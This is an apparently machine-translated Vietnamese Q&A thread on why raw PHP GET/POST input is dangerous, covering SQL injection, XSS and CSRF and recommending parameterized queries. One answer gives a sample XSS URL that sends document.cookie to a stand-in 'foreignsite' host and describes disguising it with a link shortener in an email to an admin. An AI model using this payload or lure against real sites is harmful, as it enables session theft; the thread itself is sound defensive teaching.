tôi muốn biết lỗ hổng khi sử dụng biến GET và POST trực tiếp là gì. tức là với chức năng cắt xén và tăng cường chức năng bổ sung và chuỗi thoát mysql giống như vậy.các lỗ hổng trong việc sử dụng trực tiếp GET và POST là gì?
Câu hỏi của tôi là
gì chúng ta càng cần phải chăm sóc khi chơi với GET và POST.
Có loại tấn công nào ở đây như tiêm SQL?
Nói chung, và không giới hạn GET và POST mà còn để dữ liệu bất kỳ mà đến từ bên ngoài hệ thống (bao gồm cookie trong trường hợp ứng dụng web):
Hầu như tất cả các lỗ hổng đều đến "Người dùng có thể chạy bất kỳ mã nào họ thích trong ngữ cảnh bạn chuyển đầu vào của họ tới".
Bạn cần suy nghĩ về những gì bạn đang làm với dữ liệu. Tìm kiếm một danh sách những điều có thể có thể xảy ra khi chấp nhận đầu vào nhiễm độc vào bất kỳ hệ thống nào trên thế giới sẽ không tạo ra một danh sách đầy đủ.
Và như một sang một bên: quên thêm các dấu gạch chéo (nó không hiệu quả), hãy quên mysql_real_escape (quá dễ để nhầm lẫn với nó). Sử dụng các truy vấn được tham số hóa: How can I prevent SQL injection in PHP?
+1. Không chỉ GET, POST và cookie. Ngay cả một REFERER cũng có thể khiến bạn gặp rắc rối: http://www.hanselman.com/blog/BackToBasicsTrustNothingAsUserInputComesFromAllOver.aspx –
chủ yếu CSRF, XSS và Directory traversal:
http://en.wikipedia.org/wiki/Cross-site_request_forgery
Nếu bạn thực hiện bất kỳ biến GET hoặc POST nào và thực thi "hiệu quả" nó, mà không chuyển nó qua bộ lọc nào đó, bạn sẽ tự mở các cuộc tấn công. SQL injection rõ ràng là một trường hợp rất phổ biến, nhưng nếu bạn đang làm bất kỳ loại eval() với dữ liệu đó (bằng ngôn ngữ lập trình hoặc bất kỳ cơ sở dữ liệu hoặc tình huống nào khác - bao gồm chuyển HTML trở lại trình duyệt để được giải thích trên máy khách) sau đó những kẻ tấn công có kiến thức có thể tạo dữ liệu đầu vào sẽ làm cho ứng dụng của bạn làm những việc không mong muốn.
Nó mở rộng nhiều hơn một chút so với chỉ "nhận" hoặc "bài đăng". Tất cả đều phụ thuộc vào chương trình bạn đã thực hiện để hỗ trợ họ. Nếu bạn chỉ đang phục vụ một trang html tĩnh, không phải là rất nhiều lỗ hổng. Nếu mặt khác, bạn đang thiết lập và sửa đổi dữ liệu thông qua nhận yêu cầu, các lỗ hổng có thể là vô tận, chỉ cần tra cứu các trường hợp bot google xóa sạch dữ liệu từ những nơi đã sử dụng 'get' để gửi nội dung.
Tất cả phụ thuộc vào những gì bạn đang sử dụng dữ liệu và các lỗ hổng bị hạn chế để nhận hoặc đặt. Vệ sinh đầu vào của bạn.
Tấn công XSS dễ nhất có thể với một chút kỹ thuật xã hội
Giả sử bạn có một ứng dụng PHP đơn giản, sử dụng phiên để theo dõi người dùng. Và nó có một số loại giao diện quản trị, nơi người dùng có đặc quyền cao hơn có thể cho phép nói nội dung chỉnh sửa.
Và, cho phép giả định rằng bạn đang đăng nhập như một quản trị viên trang web đó và rằng có bên trong ứng dụng mà một request.php tập tin, với đoạn mã sau
echo $GET['action'];
Và bây giờ ai đó phát hiện này , xây dựng url sau http://yourapp/request.php?action= document.location.href = 'http://foreignsite?c=' + document.cookie
sau đó, rằng ai đó thêm url này để tinyurl.com, mà sẽ rút ngắn một cái gì đó giống như http://tinyurl.com/x44534, sau đó ông gửi cho bạn một e-mail , nói "hey, nhìn này, bạn thấy nó hữu ích".
Bạn nhấp vào liên kết, tinyurl.com dịch url ngắn trở lại liên kết dài, chuyển hướng trình duyệt của bạn đến đó, request.php của bạn sẽ xuất ra Javascript một cách vui vẻ, trình duyệt của bạn sẽ xem nó, thực thi nó và dưới dạng kết quả là người chạy http://foreignsite sẽ nhận tất cả cookie của bạn.
Sau đó, anh ta chỉ cần chèn các giá trị cookie đó vào trình duyệt của mình, và thì đấy, anh ấy có quyền truy cập nhanh vào giao diện quản trị trang web của bạn. Vì anh ta có cookie phiên của bạn.
Điều này mô tả cuộc tấn công XSS đơn giản nhất, nó thực sự đơn giản, có thể sẽ không hoạt động trong cuộc sống thực, nhưng hy vọng bạn có ý tưởng cơ bản về cách hoạt động của nó.
hmm, tốt, SO lấy ra các thẻ script như một biện pháp bảo vệ XSS :) anyway, giá trị của hành động tham số nên được bao quanh bởi các thẻ script, sau đó điều này có ý nghĩa hơn. –
Dữ liệu GET và POST là dữ liệu được gửi trực tiếp từ người dùng. Bạn nhận được nó thô, không có kiểm tra hoặc xác nhận giữa người sử dụng và chương trình của bạn. Ngay cả khi bạn đã xác nhận biểu mẫu nên bắt nguồn dữ liệu, kẻ tấn công có thể tự tạo một yêu cầu với bất kỳ dữ liệu nào mà anh ta muốn. Vì vậy, bạn phải luôn xử lý dữ liệu yêu cầu dưới dạng đầu vào người dùng không tin cậy.
Có một số cuộc tấn công dựa vào bộ mã hóa mà quên dữ liệu yêu cầu đó là không đáng tin cậy, nhưng phổ biến nhất là SQL injection. Nguyên nhân gốc rễ của SQL injection là xây dựng một truy vấn bằng cách ghép các chuỗi thủ công, một số trong đó là đầu vào người dùng không đáng tin cậy. Điều này có nghĩa là bạn đang yêu cầu cơ sở dữ liệu của mình thực thi đầu vào không tin cậy của người dùng.
Giải pháp ngây thơ đối với SQL injection là xác thực các đầu vào và sau đó ghép chúng vào một chuỗi truy vấn, nhưng đây cũng là dạng kém. Bạn đang dựa vào logic xác nhận của bạn để làm cho chuỗi an toàn, và nếu bạn sử dụng sai nó - hoặc logic là lỗi - thì bạn lại một lần nữa bị phơi nhiễm với các cuộc tấn công.
Giải pháp chính xác là tách truy vấn của bạn khỏi dữ liệu chứa trong đó. Hầu như tất cả các bộ điều hợp cơ sở dữ liệu đều hỗ trợ phương pháp này và nếu máy của bạn không vì lý do nào đó, nó không phù hợp để sử dụng. Thành ngữ phổ biến nhất là (không có ngôn ngữ cụ thể):
myDB.query ("select * from Stuff where id =?", [42]);
Điều này sẽ đảm bảo (trong hệ thống như vậy) các tham số không được thực thi. Chuỗi truy vấn được tạo từ dữ liệu hoàn toàn đáng tin cậy, trong khi dữ liệu không tin cậy được tách riêng.Tại tồi tệ nhất, phương pháp này được áp dụng cho đầu vào không đúng có thể dẫn đến dữ liệu không chính xác, không phải là một lệnh không chính xác.
Cách tiếp cận này để tránh SQL injection làm nổi bật nguyên tắc trung tâm áp dụng cho tất cả các loại tấn công dữ liệu yêu cầu: dữ liệu yêu cầu không phải của bạn và không an toàn. Khi xử lý bất kỳ đầu vào người dùng nào, bao gồm cả dữ liệu yêu cầu, luôn luôn giả định rằng nó có nguồn gốc từ kẻ tấn công có kiến thức thân mật về hệ thống của bạn. Nó có vẻ hoang tưởng, nhưng nó giúp bạn an toàn.
Khi mọi người đã viết, bất kỳ và tất cả đầu vào của người dùng phải được coi là độc hại, bất kể bạn cảm thấy an toàn như thế nào.
Nhà phát triển nghĩ đến việc bảo mật mã tại thời điểm họ đang viết và khi họ đang thực hiện sửa đổi, trong khi tin tặc suy nghĩ về việc làm rối loạn mã đó bất cứ khi nào họ quyết định có lỗi vào ngày hôm nay, ngày mai hoặc trong hai năm. Những gì có thể có vẻ hoàn toàn an toàn tại thời điểm mã được viết có thể bật ra được khai thác tại một số điểm sau này.
Về cơ bản, tất cả đầu vào phải được lọc, kiểm tra và vệ sinh một cách tôn giáo bất kể nó được sử dụng cho bất kỳ thời điểm nào. Ai đó có thể bỏ qua việc khử trùng một phần dữ liệu người dùng bởi vì "nó sẽ không được sử dụng cho bất cứ thứ gì có thể gây hại", sau đó 11 tháng xuống dòng, một người nào đó trong nhóm quyết định sử dụng dữ liệu đã được khử trùng, được gán cho một biến, trong một truy vấn SQL hoặc một cuộc gọi exec hệ thống và toàn bộ hệ thống thổi.
gì nên được thực hiện:
danh sách trắng thay vì danh sách đen - biết những loại đầu vào bạn đang mong đợi và chuyển đổi dữ liệu người dùng cho phù hợp, id thường nguyên do đó, nó an toàn để đúc tất cả người dùng gửi id là số nguyên. - biết khi bạn đang mong đợi một lượng nhỏ dữ liệu và khi bạn đang mong đợi lớn. Tên cá nhân thường tương đối ngắn và không chứa chữ số, "1"; DROP TABLE khách hàng; " không phải là tên thật và bạn có thể biết rằng không thêm dấu gạch chéo.
sau đó danh sách đen một số chỉ trong trường hợp - áp dụng logic thoát tiêu chuẩn cho tất cả các dữ liệu mà thực hiện thông qua danh sách trắng của bạn, chỉ trong trường hợp
sau đó lọc và kiểm tra một số chi tiết - cho đến khi bạn cảm thấy an toàn
Tất cả các superglobals đều có thể được thao tác bởi tác nhân người dùng. $ _SERVER, $ _POST, $ _GET, v.v.
Quy tắc chung là "không tin vào đầu vào của người dùng". Bất kỳ thứ gì đến từ người dùng dưới bất kỳ hình thức nào đều cần phải được kiểm tra an toàn. – Jess